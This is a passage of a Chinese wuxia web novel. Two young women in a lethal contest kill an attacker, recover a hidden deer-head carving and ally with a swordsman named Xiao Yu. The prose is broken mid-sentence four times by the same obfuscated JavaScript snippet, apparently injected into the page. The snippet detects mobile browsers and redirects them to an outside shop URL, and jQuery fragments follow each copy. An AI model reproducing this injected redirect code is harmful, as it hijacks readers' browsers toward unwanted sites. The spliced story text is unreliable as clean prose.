林霁荷想了想,说:“是有说这个地方藏有木雕,不过我们去那里找,是否太过危险了?” “找木雕只能是碰碰运气,不过芦苇旁一定是有条河,有河就有鱼,可以解决咱们饿肚子的问题。”说着。戚研商也学着林霁荷捂住了肚子。 等等,戚研商想起之前在茅屋,雷承璟自己去捉来了鱼,没有耗费大量时间,说明茅屋是邻近一条小溪的,鱼群丰富,并且这条小溪很可能是一直延伸到东边的芦苇去。 戚研商看了眼悬挂在天边的太阳,估摸了一下方位,她们现在只要向东南方向走,一定会碰到那条小溪,并不需要前往东边冒险。 到时候循着小溪一直走,说不定可以就赶在雷承璟之前,拿走茅屋里的馒头。 更何况雷承璟不一定能够解开书房出口的机关。 戚研商起身,将地上的林霁荷拉起来,道:“走,我们去抓鱼。” —— “哇哦,竟然有条小溪!”林霁荷原本有些昏昏欲睡,几乎是闭着眼睛在行走,听到水流声才睁开了眼睛,映入眼帘的是一条缓缓流淌的溪流。 猜想的没错,果然有一条小溪,从东边的芦苇荡一直延伸到茅屋,溪流中偶尔可见鱼群游过。 林霁荷开心地跑了过去,在小溪边蹲下,捧起流水将脸清洗了一下,立刻精神清爽不少。 若这是野外踏青,戚研商也会那样享受,可眼下是处在危机四伏的比试当中,她必须时刻小心。 此处由于被小溪截断,周围几乎没有高大的树木,连可以遮挡的芦苇都没有,远处看便是一览无余,直接暴露在他人视线中。 或许目前还是安全的,戚研商在路上尚未发现任何可疑踪迹。 现在必须速战速决。 戚研商脱下鞋子,将裤腿和衣角挽起,对林霁荷说:“等会我运功发力击打鱼群上方的水面,你看它们晕了就立刻捞起来。” 林霁荷郑重地点了点头。 溪水清澈而异常凉爽,轻轻拂过肌肤,戚研商刚踏入便感觉全身疲劳瞬间被缓解。 无暇享受,她站在溪流中心,静静地看着鱼群游过身下,下一刻,她猛然运功击打水面,瞬间激起一道水柱,约有半人高,鱼群也被跟着拍上了天。 林霁荷在一旁赶紧用衣服兜住从天而降的鱼,她没空顾及已经落回水中后飘走的那些,不过抓住了三条,已经足够了。 “你一条,我一条,还有一条我们平分,肯定能吃饱,嘿嘿。”林霁荷捧着鱼,仿佛已经闻到烤鱼的香味。 戚研商没空跟她傻乐,上岸,穿上鞋子,从岸边拔了一把杂草,迅速编成草绳。 用草绳将鱼串了起来,这下可以提着走了。 “走,我们找个安全点的地方。”戚研商道。 由于还要去茅屋,两人也没有走得很远,只是找了一个树丛稍微茂盛的地方架起了火堆。 柴火噼里啪啦的燃烧着,吊着的鱼经过炙烤,已经开始散发香气。 她们一人手握一片很宽的叶子,轻轻扇动着,一是为了加速燃烧,让鱼熟的更快些,二是防止升起巨大的浓烟,像上次一样被人发现。 三条鱼终于呈现了焦脆的金黄色,虽然尾部已经稍微焦黑了,不过并不影响食用。 戚研商迅速将火熄灭,拎起三条鱼,又带着林霁荷换了另一个地方躲藏。 两人一边啃着烤鱼,一边警惕地看向刚才生火的地方,还好烟雾被控制得很好,没有被任何一个人发现。 “哦?我就说哪里来的香味,原来是你们两个在这里吃独食啊!”身后突然传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200936|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个陌生男声,毫无征兆,戚研商以最快速度回头,却仍然慢了一步。 那男人手中拿了一把小刀,已经逼近她的喉咙。 手中吃了一半的烤鱼掉了下来,被那男人另一只手抓住,他故作可惜地说道:“你动作这么猛,鱼都掉了,可别浪费了粮食,多不容易啊!” 他将那一半的烤鱼伸到嘴边咬了一口:“如果有点调料就好了,不过还是很好吃啊!” 林霁荷见状立刻起身,伸手就要抢夺去小刀,男人吼道:“我劝你别动!” 眼见那小刀快要切入戚研商的喉管,林霁荷只好一动不动。 “你想怎样?”戚研商感到肌肤似乎已经被尖利的小刀切开,有些微微刺痛,可她现在只能故作镇定道。 男人蔑笑了一声:“怎样?你说还能是怎样?” “我们没有找到鹿头木雕!你这样逼迫我们也是没有用的!”林霁荷抢先回答。 男人上下扫了她们一眼,问:“真的?你们连鱼都烤上了,没找到木雕,还这么悠闲?郊游吗?” 戚研商心中大感不妙,这人的目的是冲着木雕来的,能感受到他身上极强的杀气,即使没能得到木雕,也不会让她们两个活着离开。 “我们确实找到了一些线索,但是后来那里来了人,我们没有兵器,就先跑了。”戚研商打算将那个地下室的情报告知他。 男人似乎不太信,继续问道:“线索?说来听听?” “顺着这条小溪向西走,有间茅草屋,屋子里有个……”戚研商说得极慢,她在思考要如何才能脱离险情。 此时林霁荷如果跑了,男人也是追不上的,可她却站在旁边一动不动。 不过这个男人并没有想象中的那么聪明,他下意识地撇过头向西边看去,戚研商抓住了时机,她向林霁荷使了个眼色,抬腿向男人一脚踢去。 可是这一脚踢空了,男人扔掉了烤鱼的残骸,另一只手迅速将戚研商锁在身前,她动弹不得。 好在戚研商给的线索没有说完,男人暂时还没想继续下手,他恶狠狠地道:“屋子里有什么?” “屋子里有个地窖,地窖通往一个书房,书房里就藏着……”戚研商猛然下蹲,小刀迅速在脖颈处划了一道很长的口子,不过还好,并不深。 林霁荷刚才在收到了信号后,就轻微移动到了男人的侧后,此时她趁戚研商蹲下的时刻,从背后去抢夺男人手中的小刀。 可是男人动作仍是很快,在戚研商下蹲的那瞬间立刻一脚踢出,戚研商猛地被踹倒在地。 她趴在地上呕出一口鲜血,脖颈处也因为被割开鲜血淋漓,从背脊处传来一阵疼痛,她无法再次站立。 男人见她倒下便立刻回头就要处理林霁荷,迅速地再一脚飞踢将林霁荷也踹倒在地。 不过好在她成功抢走了小刀,紧紧握在手中。 男人俯身就要拿回小刀。 刹那间,他的右腿被挣扎爬起的戚研商用力一扯,忽然失去了平衡,他的身体控制不住地向下倒去。 男人就要用手撑地保持平衡,不过已经来不及了,林霁荷将小刀高举,正好迎接上了男人的喉咙。 嗤—— 鲜血如涌泉般从男人的喉咙喷出,淋了林霁荷一脸,她转过头去,那男人正好倒在她身侧,双目还未闭上,紧紧盯着她。 16. 自制兵器 林霁荷没能想到自己会杀了这个男人,她的大脑近乎一片空白,仅剩的理智告诉她必须爬起来。 抬手用袖子抹掉脸上的血,用力推开压在身上的那只男人的胳膊,林霁荷尽力坐了起来,才看见戚研商倒在地上,嘴角、脖颈都是血。 “戚研商!你、你没事吧!”尚处在惊恐之中,林霁荷的双腿发软,她无法站起来,只能爬到戚研商身边,去探她的鼻息。 还好,她还活着。 戚研商猛烈咳嗽了两声,又吐出了一口血,她指了指自己的脖子,声音有些嘶哑:“没事,这里只是破皮了而已,没有伤得很深。他那一脚踢得太猛,我有点受不住,休息会就好了……” 她勉强地坐了起来,闭目养神,虽然不严重,可她明显感受到了内力受损。 若没有被挟持,戚研商还能迎战一二,可她被从身后牢牢锁住,一时难寻破解之法。 戚研商早已不畏惧死亡,大不了从头再来。 令人意外的是,林霁荷竟然能够做到完美配合,甚至进行了反杀。 戚研商给的信号,是希望她趁机逃走。 其实戚研商一直对林霁荷有些防备,这个姑娘人确实挺好,只是好得有些异于常人了。 无论是上次还是这次,林霁荷始终是义无反顾的支持着自己,倘若是在这之前遇到她,戚研商欣然接受与她成为挚交,可在这胜利只有一人的角逐中,实在难以将信任和盘托出。 “林霁荷,你为什么不跑?”戚研商问道,她缓缓睁开眼睛,将衣服撕下一块,叠成长条,系在脖颈处止血。 林霁荷见戚研商伤无大碍,悬着的心终于放下,她也被踢了一脚,还好没有伤及筋骨,只是略微疼痛。 她伸腿把那男人的尸体踢得远远地,然后将头枕靠在戚研商的腿上,道:“见你第一眼,觉得你和我姐姐很像。” 姐姐?这个称呼实在陌生。 戚研商自出生便作为掌门之女存在,门派里要么是大她几十岁的长辈,要么是与她同岁,却尊称她为“小门主”的晚辈,若不是母亲离奇去世,戚研商现在还在山中生活。 她从来不知道有兄弟姐妹是怎样的感受。 更何况在这个人人自危的地方,轻易的信任是一件非常危险的事情。 “你要知道,在这里的人都是为了同一个目标,那就是赢。我们现在是朋友,以后就是对手。”戚研商叹气道。 林霁荷将头转到一旁,长长的头发遮住了她的脸,看不清她的表情,声音似乎带着一丝颤抖:“我姐姐,几年前也来参加过,一去就再也没回来……” “那你……”为什么还要参加?戚研商没能说出口。 林霁荷接着道:“自我父亲被陷害,林家便成了众矢之的,即使后来有人平反,也无法挽回以往的地位。父亲年事已高,无法继续担任家主。” 说着,林霁荷坐了起来,她将头发束在耳后,脸上还残留着血迹,双眸泛红:“我兄长便继任了家主之位,可是他初入江湖,没有多少人脉,父亲的江湖好友也早就断了联系……只能让姐姐去参加十二簪选拔……” 戚研商无法理解:“你兄长身为家主,不应是他去吗?” “是啊,可他是个胆小鼠辈,自知选拔十分危险,不愿意参与。姐姐为了林家,自愿前往。”林霁荷垂眸,似有一滴清泪落下,“这次,轮到我了。” 戚研商心中五味杂陈,林霁荷看起来像个无忧无虑的大小姐,没想到在家中竟是这番境遇。 她忍不住握住了林霁荷的手,眉头紧蹙,道:“你不会有事的。” 林霁荷摇了摇头:“我的武功还不如姐姐,我知道自己也活不了太久,但我不怕死,那个家太过沉重,这里虽然危险,可也比那里自由。还有,认识你很开心。” 戚研商伸手帮她抹掉泪痕,道:“若不是你同意我住进你的房间,恐怕我连第一夜都无法度过,说起来,你还是我的救命恩人。” 林霁荷破涕为笑,有些不好意思。 “我们在这里太久了,恐怕还会被别人发现,先走吧。”戚研商站了起来,将林霁荷也扶起。 林霁荷看向她脖颈上的布条,还在微微渗血,问道:“你的伤,没事了吗?” 戚研商稍作运气,内力流转较刚才顺畅许多,道:“暂无大碍。” 幸好没有耽搁太久,戚研商按照原有的计划,前往茅屋。 —— 临近茅屋,戚研商远远地观察了一番,门口并无足迹,也尚未留下任何有人存在的痕迹。 但是无法确定屋中是否有人,戚研商蹲下来缓缓走到窗户旁,向内看去,屋内空无一人。 还好,雷承璟并不在这。 两人进了屋,先将门反锁了起来。 戚研商将锅盖掀开,五个馒头安静的躺在里面。 “你还饿吗,先吃一个吧,那边有水,别噎着了。”戚研商说道,指了指角落的水缸。 林霁荷确实还有点饿,她拿起一个馒头就塞进嘴里,含糊着问:“你怎么知道这里有茅屋,还有吃的?” “我算出来的。”戚研商随口道。 林霁荷十分惊讶:“你还真的会算命啊!” “骗你的,这也信。”戚研商心想,若是她说出重生的事情,林霁荷更加接受不了。 戚研商先去看了地窖,木头盖板还好好地盖在上面,她终于放下心来。 天色已近黄昏,雷承璟还没有出现,只有两种可能。 一是他没有发现书房密室,二是在书房里没能找到出口的机关。可这两种也只是假设,雷承璟也有可能出去找火源,再回来探索。 戚研商想了想,将盛满水的水缸拖了过来,压在地窖的盖板上。 即使雷承璟真的要从这里出来,也一时打不开盖板,可以给她们逃跑的时间。 林霁荷吃完馒头想喝口水,却发现水缸被移走了,她走到地窖旁边,以手作碗,舀了一些水饮下,问道:“这下面不用探索一下吗?” “不用,我看了一下,下面的路很长,也很黑,可能就是通往那个地下室的。”戚研商道。 林霁荷若有所思的点点头:“那里面只有两个假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200937|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木雕,确实没必要去了,等下,水缸里好像有东西。” 由于屋内较暗,水缸很深,缸口却很浅,向下看去便是一片漆黑。 不过在这片漆黑中,林霁荷总觉得有个东西在里面。 戚研商迅速去桌子上取了油灯,用火折子点亮,向水缸中照去,果然里面有一个东西。 她挽起袖子伸手去捞,取出来的竟然就是鹿头木雕。 戚研商举着油灯仔细辨认,确认这就是真品,即便木雕因为浸了水,变得非常沉,也能清晰地感受到与假的有所不同。 林霁荷十分欣喜:“没想到地下密室里没有真品,却在出口放了个真的。” 上次为何没有发现,戚研商回忆着。 当时他们从地下出来,走了太久,每个人都十分劳累,加上已入深夜,光线昏暗,很难发现水缸中会藏有东西。 从常理上看,无论谁都不会想到,一个木质的物件,竟然会藏在水中,毕竟这对于木雕来说是极大的损害。 写遗书的那个人,会不会最后找到了水缸中的木雕呢?恐怕一辈子也无法得知了。 上次他们从茅屋离开之后,又有一群人进去搜刮,戚研商猜测,那些人应该也没有找到木雕。 那时林霁荷在临走时,将柴火都扔进了水缸里,他们便只会可惜那些柴火,而不会在意水缸中有什么。 说到柴火,戚研商走到灶台边蹲下,将灶台下的木柴一股脑拖了出来,一把斧头正躺在里面。 “林霁荷,你会用斧头吗?”戚研商问,这把斧头之前是为童疏田,十分沉重,恐怕林霁荷是拿不动的。 林霁荷接过斧头,不出意料,果然无法挥动,她摇了摇头:“这也太沉了,我拿不动啊。” 继而又一拍脑袋,哎哟了一声:“我应该把那个男人的小刀拿走的,我给忘记了!” 说着,她走到门口,就要出门回去找 “等等!”戚研商拦住了她,“现在入夜了,外面太过危险,忘记拿就算了吧。” 戚研商又试了试,连提起都十分费劲,这斧头唯有童疏田那样的壮汉才能使得,换了其他人都不行。 可是就放在这里被他人拾走,又太过浪费。 戚研商想了想,将斧头立在地上,运功抬脚,用力猛踹斧头与斧柄的连接处,只听“咔嚓”一声,斧头与斧柄分裂开来。 戚研商将斧柄捡了起来,拿在手中把玩。 由于斧头很沉,斧柄既粗壮又结实,现在被戚研商分裂开来,斧柄的下段的木头呈现长短不一的锯齿状,可以勉强当做一个兵器。 “你就用这个吧,长得是埋汰了点,但是非常结实,断裂处应该也可以戳死人。”戚研商将这自制武器递给林霁荷。 林霁荷狐疑地接过,看了又看,道:“你那么轻易就就给踹开了,真的能当武器吗?” “总比没有强。”戚研商其实心里想的是,总比斧头被别人拿走了好,“不早了,我们休息会吧,这里应该暂时很安全。” 雷承璟不在,只要她们不生火引来他人,这里确实很安全。 17.风雨无阻 第二日,戚研商在屋子里里翻到一个布包,正好能装得下木雕和馒头。 即使后面找不到食物,剩下的馒头再加上去小溪边捉鱼,也已经足够了。 戚研商打算今日去坟地拿走埋藏着的鹿头木雕,只是茅屋离坟地路途遥远,恐怕路上会遇到他人。 她将布包背在里层,再将外衣穿上,这样布包就藏在了衣服里。 虽然站立的时候腰部明显是鼓鼓囊囊的,但是只要走动起来,衣衫随着动作幅度上下摆动,就看不出不来了。 两人将茅屋重新整理了一番,确认没有有用的东西后,清理掉有人曾住过的痕迹,便离开了。 “小商,我们不去西南佛像那边看看吗,离这里很近。”林霁荷问道。 戚研商没法告诉她实话,只好说:“今日已经是第二天了,佛像那边的木雕肯定已经被拿走了。” 林霁荷继续问道:“那我们就要往北走吗?可是按理说,北边的大树离入口那么近,肯定也被拿走了。” “不在大树那,我们向东北方向走。”戚研商道。 林霁荷感到惊奇:“小商,你不会真的会算命吧,连木雕在哪里都算出来了?” 这完全没法解释,戚研商只好嗯了一声。 两人一路向北行,几乎都走在树林深处,用高大的树丛挡住身影。 路过地下室东边的出口时,突然发现有两个人刚刚从地下走出。 戚研商立刻将林霁荷拉到身后,两人躲在树后观察,待那二人转过头来,她发现竟然正是雷承璟和雷承宁。 竟然到了现在才从地下出来,看来二人为了躲避危险,整夜都睡在幽暗的地下。 他们手中并无携带油灯,戚研商确信两人是一直摸黑行动的,难不成胆大是他们雷家祖传的?戚研商忍不住想。 “这两人你认识?胆子可真大的,不过白忙活一晚。”林霁荷问,她眯着眼睛仔细观察,“你看矮点的那个,背后背着的行囊鼓鼓的,应该是装了两个木雕,看来他们把赝品给拿走了。” 一切发展正如戚研商所料,那二人将木雕拿走了,并没有分辨出真假来,或许是因为下面实在太黑了,只能瞎摸,无法分辨真伪。 可是这样也能成功推倒书房的墙,拿走里面的木雕,他们确实有点本事。 她摸了摸衣袖,藏起来的信还在那里,等比试结束时,一定要把这封信交给兄弟二人。 兄弟俩向着芦苇荡去了,也不知他们有何打算。 继续北行,途中看到了不少人,其中也不乏正在争夺打架的,好在两人躲藏的很好,尽量规避了与其他人的正面交锋,顺利到达坟地。 率先见到的还是那一排矮房子,不过这次房子中间的桌子上并非只有香炉,还放了些吃食,有水果,有馒头。 这些应该是贡品。 “小商,你快算一下,吃贡品,会遭报应吗?”林霁荷拿起一个苹果左看右看,不敢下口。 戚研商也拿了一个苹果,擦了擦灰尘,直接咬了一口,道:“不会,吃吧。” 或许吃真的贡品会有报应,可是这个坟地里全是空的,也不知道供奉给谁,她们不吃就要被别人吃了。 苹果的表皮虽然有些风干了,一口下去却是水分充足,脆爽清甜,要比烤鱼和馒头好吃多了。 吃完,两人又装了一些藏在衣服里。 戚研商走到房子边缘,侧身向坟地看去,想确认一下是否安全。 出乎意料的是竟然有两人正坐在坟头上。 戚研商心道不好,看来要等到这两人离开才能去拿木雕了,现在要找个地方隐蔽起来。 可她还来得及告诉林霁荷,只见林霁荷手拿着一颗完好的苹果,毫无顾忌地直接走了出去,即刻被那二人发现了。 戚研商连忙出手拽住她的衣服往回拖,可还是晚了一步,那二人飞一般地冲了过来,拔出剑抵在她俩的胸前。 啪嗒—— 林霁荷的苹果落在了地上,她将手掌摊开伸在两侧,表示自己没有任何武器。 戚研商也不敢动,开口道:“二位,吃贡品,没有影响到你们吧?” 林霁荷连忙掏出两个馒头:“我们看贡台上东西没人拿,就吃了点,你们要是饿了,就吃这个吧?” 那二人对视一眼,一起将剑收回,接过馒头道:“抱歉,吓到姑娘了,我们以为有人跟踪才出手。” 其中一人看了看林霁荷背后的木棍,好奇地问道:“姑娘,这个棍子……是你的武器?” 林霁荷不知道怎么回答:“呃……用来防身的。” “不嫌弃的话,我们这有多余的佩剑,可以借给姑娘,若是有缘再见,还给我们便是。”那人道。 说罢,他从背后拿了一柄剑,递给林霁荷,转而又看向戚研商:“不过没有多余的给这位姑娘了。” 戚研商觉得两人看着有些面熟,问道:“多谢侠士,只是为何你们两个人,会有三把剑?” “在下萧风,他是萧雨,我们……还有位……叫萧霜,”萧风露出悲切的表情,“我们刚开始就找到了一个木雕,萧霜说他来保管,后来我们在探索其他地方的时候,他不小心落单了,被人偷袭杀害,我们发现的时候,已经……” 萧雨拍了拍萧风肩膀,愤怒地说:“我们顺着足迹找到了凶手,帮他报了仇。那三个歹人不知抢了多少人的木雕,还用别人的外衣包裹着,嚣张至极!” 原来他们就是大树下连杀三人的神秘人士,并非无缘无故出手,也不是为了抢夺,只是在为兄弟报仇。 可是他们为什么没有拿走任何一个木雕?当时她们发现那一堆木雕都是假的,其中应该也有一个是他们的,难道他们到那时才发现找到的木雕是假的吗? “那,你们的木雕找到了吗?”戚研商问道。 萧风摇了摇头:“没有,他们抢夺的木雕都是假的,里面没有萧霜的。” 林霁荷不解:“他们带着一堆木雕,为什么没带上你们的?” “或许,他藏了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202151|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是我们不知道。”萧雨答道,“报仇后,我们带上了他的尸体,发现这里有块坟地,打算将他埋起来。” 藏起来也势必会留下线索,戚研商问:“那你们没有检查一下,他……是否有留下纸条什么的?” “没有,不太方便……”萧雨有些为难道。 这有什么不方便的? “既然萧霜拼命也要藏起来的东西,你们怎么能就如此算了!”戚研商略微皱眉,即便再过愧疚,也不能辜负了萧霜所做的事情。 萧风抿了抿唇,道:“那,麻烦姑娘一件事情。” 说罢,将她们带到一个坟墓旁,还没有完全盖上土,他蹲下,将上面覆盖着的土推开,露出了一具尸体。 戚研商俯身一看,才知“不太方便”是何意,原来萧霜是一名女子。 她双眸紧闭,衣襟沾满了鲜血,露出的肌肤上肉眼可见的伤口。 萧风和萧雨的武功她是见过的,想必萧霜也是位武功高强的女子,只是她独自一人难敌三人,才落得下风。 “麻烦两位姑娘,帮忙看看是否留有线索。”萧风和萧雨共同背过身去。 戚研商轻轻翻找着并没有找到什么特别的东西,不过在衣袖内发现了一颗小小的宝石,那宝石如石榴籽般鲜艳光洁,在阳光下微微闪光。 她将宝石递给萧风,问道:“这颗宝石,你们有印象吗?” 萧风接过宝石,有些疑惑是从何而来,一旁的萧雨盯着看了会,恍然大悟:“我知道了,应该是从那个佛像上摘下来的!” “说的是西南的那个佛像?”戚研商问。 萧雨点头:“对,那里原本藏有的木雕早就被人拿走了,所以萧霜将东西藏在那里,还是比较安全的,哥,我们现在就去拿回来!” “等等!”萧风低头看向躺着的萧霜,“可是我想在这里照看她的遗体,等到比试结束了,就把她带回去。” “那我一个人去!”萧雨道。 林霁荷扯了扯戚研商的袖子,小声说:“不然我们跟他一起去?” 戚研商想了想,同意了。 萧雨对她们毫无威胁,而她两人若是碰到敌人正面迎击不一定能赢,比试还剩下一天有余,与萧雨结伴却是要安全很多。 “既然你们给了我一把剑,作为报答,我陪你一起去!”林霁荷对萧雨说道。 萧雨却是想要拒绝,戚研商抢先道,指着不远的一处坟包:“其实这里也有一个木雕,就在那边的坟包下方,还需要萧风兄帮忙照看一下。” 萧风道:“你不怕我自己拿走跑了?” 戚研商笑道:“你们不是这种人。” “多谢小友信任,你们且去吧。”萧风冲萧雨点点头。 哥哥发话,萧雨也无法拒绝,抱拳道:“那麻烦两位姑娘了,还不知两位姓名?” “我叫戚研商,她是林霁荷。”戚研商也跟着作揖道。 “戚姑娘,林姑娘,我们走吧。”萧雨在前方引路,两人跟在身后。 18.缺损之处 路上三人沉默不语,林霁荷忍不住先开了口。 “萧雨,你们一家竟然来三个参加选拔?可是最终也只能有一个才能被选中啊。”林霁荷问道。 萧雨停住了脚步,回头道:“你可听说过‘手敌百剑萧映雪’?” “啊!我听说过!萧映雪曾替国出征,所持佩剑卷刃便直接抛下,后手刃百余敌兵,才得此名号。我小时候还见过她呢!唉,我们林家的剑法,与萧阿姨相比,简直是班门弄斧。”林霁荷有些兴奋,倒豆子般地说着, 萧雨点头:“没错,正是这位萧映雪,她是我们的养母。” 怪不得三人虽然名字相近,可长相完全不同,而那雷氏兄弟即使脾气样貌乍看之下完全不同,可仔细端详还是有相似之处的。 “那之后呢?”戚研商问。 萧雨背过身去,继续说道:“身为朝廷之外,却又为朝廷办事,母亲的身份不免受到非议。一开始被称为为国奋战的女将军,到后面却变成了为了一己私欲想要篡位的土皇帝。” “怎么会这样?”林霁荷着急地上前一步,“那后来呢?” 萧雨长叹一声:“后来母亲被人构陷,一纸诉状告她想要谋朝篡位,她在江湖中地位极高,盼着她跌落高位的人太多太多,即便母亲武功再强,也无法逃脱牢狱之灾,最后在她曾受过万人敬仰之处,被斩首示众。” 说到此处,萧雨声音有些颤抖。 林霁荷先哭了出来,她抹着泪水,上气不接下气地说:“萧阿姨人这么好,怎么能对她这样!没有人帮帮她吗?” 戚研商过去常年在山中习武,对萧映雪也略有耳闻,可她被斩首之事却一无所知。林霁荷的消息十分灵通,却也对此不知情,那无人帮助的缘由也清晰可知。 “母亲的好友虽遍布天南地北,可被捕消息却被极力封锁,只有那些恨她的人才知道,待其他人得到消息时,就算赶回来,也来不及了。”萧雨道。 “那你们是想加入十二簪,调查萧映雪是被何人诬陷?”戚研商问道。 萧雨摇头:“不,我们是想借此深入朝廷内部,敌人在内,而不在外。” 戚研商有些惊讶,这一点是她未能想到的,直觉只告诉她是有人嫉妒萧映雪的地位,才会将她拉下神坛,可她只是一个江湖人士,怎么会撼动朝廷中人,不遗余力也要除掉她? “抱歉,说的太多了。不过大姐已经不在了,我现在跟哥的想法一样,想要出去先安葬好她,至于报仇,只能以后再说了。”萧雨说着,揉了揉太阳穴。 林霁荷问:“萧霜是大姐?” 萧雨看了她一眼,答道:“这很奇怪吗?哦,萧霜年纪是小一些,但她是第一个被母亲收养的,行为举止也与母亲很像,比我和哥都要成熟许多,习惯了叫她大姐。” “如果我入选了,会帮助你们调查的。”戚研商认真地说道,他们的最终目的如出一辙。 林霁荷在一旁抱住戚研商的胳膊,擦干了泪水,道:“我也会!” 萧雨甚是感激,抱拳道:“那就先多谢两位姑娘了。” —— 从坟地向南走,到那座茅屋,再向南,便是佛像了,戚研商感觉对这条线已经是轻车熟路。 三人到达佛像附近时已到傍晚,夕阳洒下金色的余晖,斑驳的树影投射在他们脸上,此时并非什么温馨时刻,他们的表情显得有些扭曲。 那佛像并非想象中只有一尊立于庙中,而是整整一墙壁大小不一的佛像,甚至每一尊面孔雕刻的表情都不一样,栩栩如生庄严肃穆。 每个佛像身上的袈裟都镶嵌着闪闪发光的异色宝石,仅凭他们手中的那颗,去找到木雕所藏之地,无异于大海捞针。 戚研商语塞,她转向萧雨问道:“你既然知道宝石属于这里,不知道这里有如此之多佛像吗?我们要怎么找?” “所以我想拒绝你们的,这不是还没说出口,就上路了嘛。”萧雨有些不知所措,支支吾吾地解释道。 林霁荷倒是乐观:“既然萧霜选择用一颗宝石来作为记号,必定有她的用意。这地方太大,萧雨你先去探探,是否安全。” “好。”萧雨将佩剑移到伸手可及的腰侧,方便遇到敌人时拔剑,他轻点脚尖冲了出去,一会便不见人影了。 “小商,你说我们能找到吗?”林霁荷乐观归乐观,还是要面对现实。 戚研商沉默了一下,说道:“我觉得,不能。不过这并不重要,重要的是我们可以平安地度过到第三天,到时候就算找不到,我们也可以折返回坟地拿走木雕。” 林霁荷有些不好意思:“感觉我们是在利用萧雨。” "不是用利用可以说清的事情,"戚研商摇头,“一开始他们的杀意是真的,只不过你投降的比较快,否则那时我俩已经人头落地。” “那也很正常啊,毕竟我们是不速之客。”林霁荷说道。 戚研商道:“你想想那排矮房的桌上,全部贡品都摆放得非常整齐,好像从来无人动过,为什么他们不吃?这二人,在发现我们之前坐在坟头上一动不动,说明他们是在守株待兔。” 林霁荷捂住了嘴巴:“守株待兔?为何要这样?” “或许是因为萧霜被杀,他们便想在这设局屠杀,只是你我二人毫无武器,又是女子,逃过一劫罢了。至于后来帮他们找到了萧霜留下的线索,才使他们改变了想法。”戚研商说道。 这番说法戚研商只觉得自己猜对了一半,设下陷阱,引人入局是确定的,而至于为何没有杀了她们,手下留情的原因,只能是推测。 林霁荷有些困惑,她觉得戚研商说得很对,可是又无法相信兄弟俩真有屠杀的念头。 戚研商见她没有说话,摸了摸她的头:“人心叵测,无论是别人还是我,所说的话,你只能信一半。” 这头林霁荷还在尽力思考着,萧雨已经探路归来,瞧着林霁荷一副悻悻的模样,问道:“林姑娘这是怎么了?” “你去的太久,她困了。”戚研商随口胡诌的功力见长。 萧雨挠挠头,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213078|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦,那边本来是有人的,我都给赶跑了,现在安全了,你们过来吧。” 戚研商瞅见他腰间佩剑的剑柄处还残留一抹红色血迹,就知道这个“赶跑了”是怎么一回事。 原本在远处时,觉得只是一墙的佛像,密密麻麻,待走近了,才知道其中较小的佛像,也约有两三人之高,最大的佛像,戚研商只比脚高出一点。 “为什么我觉得有点害怕呢?”林霁荷抱着胳膊道,“难道我被妖魔附体了?” “面对巨大物体时感到害怕,这是正常的事情。”戚研商说道,她也在此处感到无比的压抑。 萧雨掏出红宝石,放在掌心中。 他一会抬头看佛像,一会低头看宝石,实在看不出什么来,于是把宝石给了戚研商,说道:“佛像的宝石那么多,要怎么找缺损了哪里,戚姑娘,你看看吧。” 这个宝石她已经看过了,并没有什么特别的,眼下只能先凭眼睛找缺损了。 “萧雨,你轻功好,你看上面的,我和林霁荷就在下面找。”戚研商说道。 萧雨还以为她能想出什么好办法,结果还是得一个个找,于是哀叹一声,飞身去了上面一层。 佛像太大,而宝石却很小,她们不得不一直抬头,仔细的查看,有些地方由于灰尘覆盖导致宝石不再反光,从下面看上去好像是缺了一块,待仔细前去查看,才发现只是太脏了。 “唉,这要找到什么时候啊,你说得对,我们这不是在‘利用’,而是在‘劳作’。”林霁荷揉了揉酸涩的脖子,抱怨道。 戚研商哈哈大笑:“你明白就好。”说着,她拂去宝石上的灰尘,突然想到了什么。 这些宝石外观长得一模一样,是否会与反光有关呢。 